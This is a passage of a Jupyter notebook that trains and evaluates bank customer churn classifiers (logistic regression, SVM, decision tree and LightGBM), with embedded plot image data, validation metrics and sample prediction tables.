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138Zd/+ZdTG9QkefLJJ3nooYemOoxJUSgUePTRR5k7dy4AbW1t9Pb2TnFU52bTpk2sXLmSaDRKIBDgxhtv5He/+91Uh3VeKisreeyxxzBNE8MwmD17Nj09PVMd1nmLxWL88Ic/5Gtf+9pUhzIpXnnlFW6++WZqamowDIMf/vCHLFmyZFKuPeXJvLOzk7q6Oh5//HFuu+02vvWtb2EYxlSHdd42btxILpfjpptumupQJoVpmqxZswYAz/NYt24d119//RRHdW4GBgaorKwc/7mqqor+/v4pjOj8tba2snTpUgAOHz7Miy++yDXXXDO1QU2Cv/7rv+bb3/72tJmWeOTIEVzX5ctf/jK33XYbzzzzDCUlJZNy7Qtam+Wll17iiSeemHCssbGR3bt3881vfpO/+qu/YsOGDTz22GM8/fTTFzK0c3a6e2pubiaVSvHUU09NTVDn6Uz39NRTT1EoFHjsscdwHIeHH354iiI8P+I0s3EVRZmCSCZfR0cHDz/8MN/97ndpamqa6nDOy4YNG6itreXyyy/nueeem+pwJoXrumzdupWnn36aQCDA17/+dX71q19x5513nve1p3ye+dGjR7njjjvYtm0bANlslpUrV/Lee+9NZVjnZcOGDfzkJz8hGAwCsHfvXubOncv69esJhUJTHN25S6fTPPLII0SjUf75n/8Z0zSnOqRz8qtf/YqtW7fy93//9wD827/9G0IIvvGNb0xxZOdn27ZtfOtb3+J73/set9xyy1SHc97+/M//nMHBQTRNIx6Pk8lkuP322/ne97431aGds3/5l38hlUrx/e9/H4D169fT0dHB3/7t357/xSel5/08rV69enwQ4IUXXhD333//FEc0uabLAOgjjzwivv/97wvP86Y6lPNybAB0eHhYZDIZcdttt4n33ntvqsM6Lz09PWLFihVi06ZNUx3Kx+LZZ5+dFgOg7777rrjxxhtFPB4XjuOIhx9+WPziF7+YlGtf8BK4p7Nu3Tr+5m/+hn/6p38iFArx5JNPTnVI0kl2797Nxo0baWlp4fbbbweKfc3//u//PrWBnYPq6mq+/e1v8+CDD2LbNnfffTeLFy+e6rDOy09/+lPy+fyE9859993H/fffP4VRSSdbsmQJX/nKV/izP/szbNvmyiuv5K677pqUa095N4skSZJ0/qZ8NoskSZJ0/mQylyRJmgZkMpckSZoGZDKXJEmaBmQylyRJmgZkMpckSZoGZDKXJEmaBmQylyRJmgb+f/IFmUgc1tHAAAAAAElFTkSuQmCC", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "# min and max values \n", + "xmin, xmax = X_pca[:, 0].min() - 2, X_pca[:, 0].max() + 2\n", + "ymin, ymax = X_pca[:, 1].min() - 2, X_pca[:, 1].max() + 2\n", + "# Creating a mesh region where the boundary will be plotted\n", + "xx, yy = np.meshgrid(np.arange(xmin, xmax, 0.2),\n", + " np.arange(ymin, ymax, 0.2))\n", + "# Fitting LR model on 2 features\n", + "lr.fit(X_pca, y)\n", + "# Fitting SVM model on 2 features\n", + "svm.fit(X_pca, y)\n", + "# Plotting decision boundary for LR\n", + "z1 = lr.predict(np.c_[xx.ravel(), yy.ravel()])\n", + "z1 = z1.reshape(xx.shape)\n", + "# Plotting decision boundary for SVM\n", + "z2 = svm.predict(np.c_[xx.ravel(), yy.ravel()])\n", + "z2 = z2.reshape(xx.shape)\n", + "# Displaying the result\n", + "plt.contourf(xx, yy, z1, alpha=0.4) # LR\n", + "plt.contour(xx, yy, z2, alpha=0.4, colors='blue') # SVM\n", + "sns.scatterplot(X_pca[:,0], X_pca[:,1], hue=y_train, s=50, alpha=0.8)\n", + "plt.title('Linear models - LogReg and SVM')" + ] + }, + { + "cell_type": "code", + "execution_count": 65, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['IsActiveMember',\n", + " 'country_Germany',\n", + " 'Age',\n", + " 'NumOfProducts',\n", + " 'EstimatedSalary',\n", + " 'Surname_enc',\n", + " 'bal_per_product',\n", + " 'bal_by_est_salary',\n", + " 'tenure_age_ratio',\n", + " 'age_surname_mean_churn']" + ] + }, + "execution_count": 65, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Features selected from the RFE process\n", + "selected_feats_dt" + ] + }, + { + "cell_type": "code", + "execution_count": 101, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "DecisionTreeClassifier(class_weight={0: 1.0, 1: 3.925373134328358},\n", + " criterion='entropy', max_depth=4, min_samples_leaf=15,\n", + " min_samples_split=25)" + ] + }, + "execution_count": 101, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/html": [ + "
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featuresimportance
2IsActiveMember0.476841
3country_France0.351863
0Gender0.096402
7NumOfProducts0.042667
1HasCrCard0.028361
4country_Germany0.003865
5country_Spain0.000000
6Age0.000000
8Surname_enc0.000000
9tenure_age_ratio0.000000
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" + ], + "text/plain": [ + " features importance\n", + "2 IsActiveMember 0.476841\n", + "3 country_France 0.351863\n", + "0 Gender 0.096402\n", + "7 NumOfProducts 0.042667\n", + "1 HasCrCard 0.028361\n", + "4 country_Germany 0.003865\n", + "5 country_Spain 0.000000\n", + "6 Age 0.000000\n", + "8 Surname_enc 0.000000\n", + "9 tenure_age_ratio 0.000000" + ] + }, + "execution_count": 101, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Re-defining X_train and X_val to consider original unscaled continuous features. y_train and y_val remain unaffected\n", + "X_train = dc_train[selected_feats_dt].values\n", + "X_val = dc_val[selected_feats_dt].values\n", + "# Decision tree classiier model\n", + "clf = DecisionTreeClassifier(criterion='entropy', class_weight=weights_dict, max_depth=4, max_features=None\n", + " , min_samples_split=25, min_samples_leaf=15)\n", + "# Fit the model\n", + "clf.fit(X_train, y_train)\n", + "# Checking the importance of different features of the model\n", + "pd.DataFrame({'features': selected_feats,\n", + " 'importance': clf.feature_importances_\n", + " }).sort_values(by='importance', ascending=False)" + ] + }, + { + "cell_type": "code", + "execution_count": 67, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Confusion Matrix: [[633 209]\n", + " [ 61 177]]\n", + "Area Under Curve: 0.7477394758378411\n", + "Recall score: 0.7436974789915967\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.91 0.75 0.82 842\n", + " 1 0.46 0.74 0.57 238\n", + "\n", + " accuracy 0.75 1080\n", + " macro avg 0.69 0.75 0.70 1080\n", + "weighted avg 0.81 0.75 0.77 1080\n", + "\n" + ] + } + ], + "source": [ + "# Validation metrics\n", + "print(f'Confusion Matrix: {confusion_matrix(y_val, clf.predict(X_val))}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val, clf.predict(X_val))}')\n", + "print(f'Recall score: {recall_score(y_val,clf.predict(X_val))}')\n", + "print(f'Classification report: \\n{classification_report(y_val,clf.predict(X_val))}')" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Decision tree Classifier\n", + "clf = DecisionTreeClassifier(criterion='entropy', class_weight=weights_dict, \n", + " max_depth=3, max_features=None,\n", + " min_samples_split=25, min_samples_leaf=15)\n", + "# We fit the model\n", + "clf.fit(X_train, y_train)\n", + "# Export now as a dot file\n", + "dot_data = export_graphviz(clf, out_file='tree.dot',\n", + " feature_names=selected_feats_dt,\n", + " class_names=['Did not churn', 'Churned'],\n", + " rounded=True, proportion=False,\n", + " precision=2, filled=True)\n", + "# Convert to png using system command (requires Graphviz installation)\n", + "subprocess.run(['dot', '-Tpng','tree.dot', '-o', 'tree.png', '-Gdpi=600'], shell=True)\n", + "# Display the rule-set of a single tree\n", + "from IPython.display import Image\n", + "Image(filename='tree.png')" + ] + }, + { + "cell_type": "code", + "execution_count": 104, + "metadata": {}, + "outputs": [], + "source": [ + "## Preparing data and a few common model parameters\n", + "# Unscaled features will be used since it's a tree model\n", + "\n", + "X_train = dc_train.drop(columns = ['Exited'], axis = 1)\n", + "X_val = dc_val.drop(columns = ['Exited'], axis = 1)" + ] + }, + { + "cell_type": "code", + "execution_count": 105, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Pipeline(steps=[('categorical_encoding',\n", + " CategoricalEncoder(cols=[], lcols=[], ohecols=[], tcols=[])),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier',\n", + " LGBMClassifier(boosting_type='dart',\n", + " class_weight={0: 1, 1: 3.0},\n", + " colsample_bytree=0.6, importance_type='gain',\n", + " max_depth=6, n_estimators=201, num_leaves=63,\n", + " reg_alpha=1, reg_lambda=1))])" + ] + }, + "execution_count": 105, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Confusion Matrix: [[740 102]\n", + " [ 86 152]]\n", + "Area Under Curve: 0.7587576598335297\n", + "Recall score: 0.6386554621848739\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.90 0.88 0.89 842\n", + " 1 0.60 0.64 0.62 238\n", + "\n", + " accuracy 0.83 1080\n", + " macro avg 0.75 0.76 0.75 1080\n", + "weighted avg 0.83 0.83 0.83 1080\n", + "\n" + ] + } + ], + "source": [ + "from utils import *\n", + "\n", + "best_f1_lgb = LGBMClassifier(boosting_type='dart', class_weight={0: 1, 1: 3.0}, min_child_samples=20, n_jobs=-1, importance_type='gain', max_depth=6, num_leaves=63, colsample_bytree=0.6, learning_rate=0.1, n_estimators=201, reg_alpha=1, reg_lambda=1)\n", + "best_recall_lgb = LGBMClassifier(boosting_type='dart', num_leaves=31, max_depth=6, learning_rate=0.1, n_estimators=21, class_weight={0: 1, 1: 3.93}, min_child_samples=2, colsample_bytree=0.6, reg_alpha=0.3, reg_lambda=1.0, n_jobs=-1, importance_type='gain')\n", + "model = Pipeline(steps = [('categorical_encoding', CategoricalEncoder()),\n", + " ('add_new_features', AddFeatures()),\n", + " ('classifier', best_f1_lgb)\n", + " ])\n", + "# Fitting final model on train dataset\n", + "model.fit(X_train, y_train)\n", + "# Predict target probabilities\n", + "val_probs = model.predict_proba(X_val)[:,1]\n", + "# Predict target values on val data\n", + "val_preds = np.where(val_probs > 0.45, 1, 0) # The probability threshold can be tweaked\n", + "# Validation metrics\n", + "print(f'Confusion Matrix: {confusion_matrix(y_val,val_preds)}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val,val_preds)}')\n", + "print(f'Recall score: {recall_score(y_val,val_preds)}')\n", + "print(f'Classification report: \\n{classification_report(y_val,val_preds)}')" + ] + }, + { + "cell_type": "code", + "execution_count": 106, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['final_churn_model_f1_0_45.sav']" + ] + }, + "execution_count": 106, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Save model object\n", + "joblib.dump(model, 'final_churn_model_f1_0_45.sav')" + ] + }, + { + "cell_type": "code", + "execution_count": 107, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "0.7678570272911421" + ] + }, + "execution_count": 107, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "0.675392670157068" + ] + }, + "execution_count": 107, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "array([[696, 113],\n", + " [ 62, 129]], dtype=int64)" + ] + }, + "execution_count": 107, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + " precision recall f1-score support\n", + "\n", + " 0 0.92 0.86 0.89 809\n", + " 1 0.53 0.68 0.60 191\n", + "\n", + " accuracy 0.82 1000\n", + " macro avg 0.73 0.77 0.74 1000\n", + "weighted avg 0.84 0.82 0.83 1000\n", + "\n" + ] + } + ], + "source": [ + "# Load model object\n", + "model = joblib.load('final_churn_model_f1_0_45.sav')\n", + "X_test = dc_test.drop(columns=['Exited'], axis=1)\n", + "# Predict target probabilities\n", + "test_probs = model.predict_proba(X_test)[:,1]\n", + "# Predict target values on test data\n", + "test_preds = np.where(test_probs > 0.45, 1, 0) # Flexibility to tweak the probability threshold\n", + "#test_preds = model.predict(X_test)\n", + "# Test set metrics\n", + "roc_auc_score(y_test, test_preds)\n", + "recall_score(y_test, test_preds)\n", + "confusion_matrix(y_test, test_preds)\n", + "print(classification_report(y_test, test_preds))" + ] + }, + { + "cell_type": "code", + "execution_count": 108, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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CreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_SpainSurname_encbal_per_productbal_by_est_salarytenure_age_ratioage_surname_mean_churnpredictionspred_probabilities
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1546801346146422.2211067142.9710.01.00.00.00000146422.0735782.1807530.1764710.00000010.487481
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" + ], + "text/plain": [ + " CreditScore Gender Age Tenure Balance NumOfProducts HasCrCard \\\n", + "674 617 1 34 9 0.00 2 1 \n", + "417 850 1 38 5 0.00 2 1 \n", + "974 709 1 62 3 0.00 2 1 \n", + "154 680 1 34 6 146422.22 1 1 \n", + "335 833 1 29 1 96462.25 2 0 \n", + "\n", + " IsActiveMember EstimatedSalary Exited country_France country_Germany \\\n", + "674 0 118749.58 0 0.0 0.0 \n", + "417 0 16491.64 0 1.0 0.0 \n", + "974 1 82195.15 0 0.0 0.0 \n", + "154 0 67142.97 1 0.0 1.0 \n", + "335 1 48986.18 0 0.0 1.0 \n", + "\n", + " country_Spain Surname_enc bal_per_product bal_by_est_salary \\\n", + "674 1.0 0.00000 0.000000 0.000000 \n", + "417 0.0 0.37500 0.000000 0.000000 \n", + "974 1.0 0.25000 0.000000 0.000000 \n", + "154 0.0 0.00000 146422.073578 2.180753 \n", + "335 0.0 0.20303 48231.100884 1.969173 \n", + "\n", + " tenure_age_ratio age_surname_mean_churn predictions pred_probabilities \n", + "674 0.264706 0.000000 0 0.046741 \n", + "417 0.131579 2.311655 0 0.083092 \n", + "974 0.048387 1.968502 0 0.055380 \n", + "154 0.176471 0.000000 1 0.487481 \n", + "335 0.034483 1.093352 0 0.022409 " + ] + }, + "execution_count": 108, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Adding predictions and their probabilities in the original test dataframe\n", + "test = dc_test.copy()\n", + "test['predictions'] = test_preds\n", + "test['pred_probabilities'] = test_probs\n", + "test.sample(5)" + ] + }, + { + "cell_type": "code", + "execution_count": 109, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "(103, 18)" + ] + }, + "execution_count": 109, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/html": [ + "
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CreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalarycountry_Francecountry_Germanycountry_SpainSurname_encbal_per_productbal_by_est_salarytenure_age_ratioage_surname_mean_churnpred_probabilities
05460583106458.31410128881.870.01.00.00.00000026614.5708460.8260150.0517240.0000000.992935
14791511107714.7431086128.210.01.00.00.33333335904.9013651.2506330.0196082.3804760.979605
274514510117231.63311122381.020.01.00.00.25000039077.1969740.9579230.2222221.6770510.976361
35151457120961.5031139288.110.01.00.00.20000040320.4865603.0788320.1555561.3416410.970001
448105790.00311169719.351.00.00.00.2222220.0000000.0000000.1578951.6777410.965838
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" + ], + "text/plain": [ + " CreditScore Gender Age Tenure Balance NumOfProducts HasCrCard \\\n", + "0 546 0 58 3 106458.31 4 1 \n", + "1 479 1 51 1 107714.74 3 1 \n", + "2 745 1 45 10 117231.63 3 1 \n", + "3 515 1 45 7 120961.50 3 1 \n", + "4 481 0 57 9 0.00 3 1 \n", + "\n", + " IsActiveMember EstimatedSalary country_France country_Germany \\\n", + "0 0 128881.87 0.0 1.0 \n", + "1 0 86128.21 0.0 1.0 \n", + "2 1 122381.02 0.0 1.0 \n", + "3 1 39288.11 0.0 1.0 \n", + "4 1 169719.35 1.0 0.0 \n", + "\n", + " country_Spain Surname_enc bal_per_product bal_by_est_salary \\\n", + "0 0.0 0.000000 26614.570846 0.826015 \n", + "1 0.0 0.333333 35904.901365 1.250633 \n", + "2 0.0 0.250000 39077.196974 0.957923 \n", + "3 0.0 0.200000 40320.486560 3.078832 \n", + "4 0.0 0.222222 0.000000 0.000000 \n", + "\n", + " tenure_age_ratio age_surname_mean_churn pred_probabilities \n", + "0 0.051724 0.000000 0.992935 \n", + "1 0.019608 2.380476 0.979605 \n", + "2 0.222222 1.677051 0.976361 \n", + "3 0.155556 1.341641 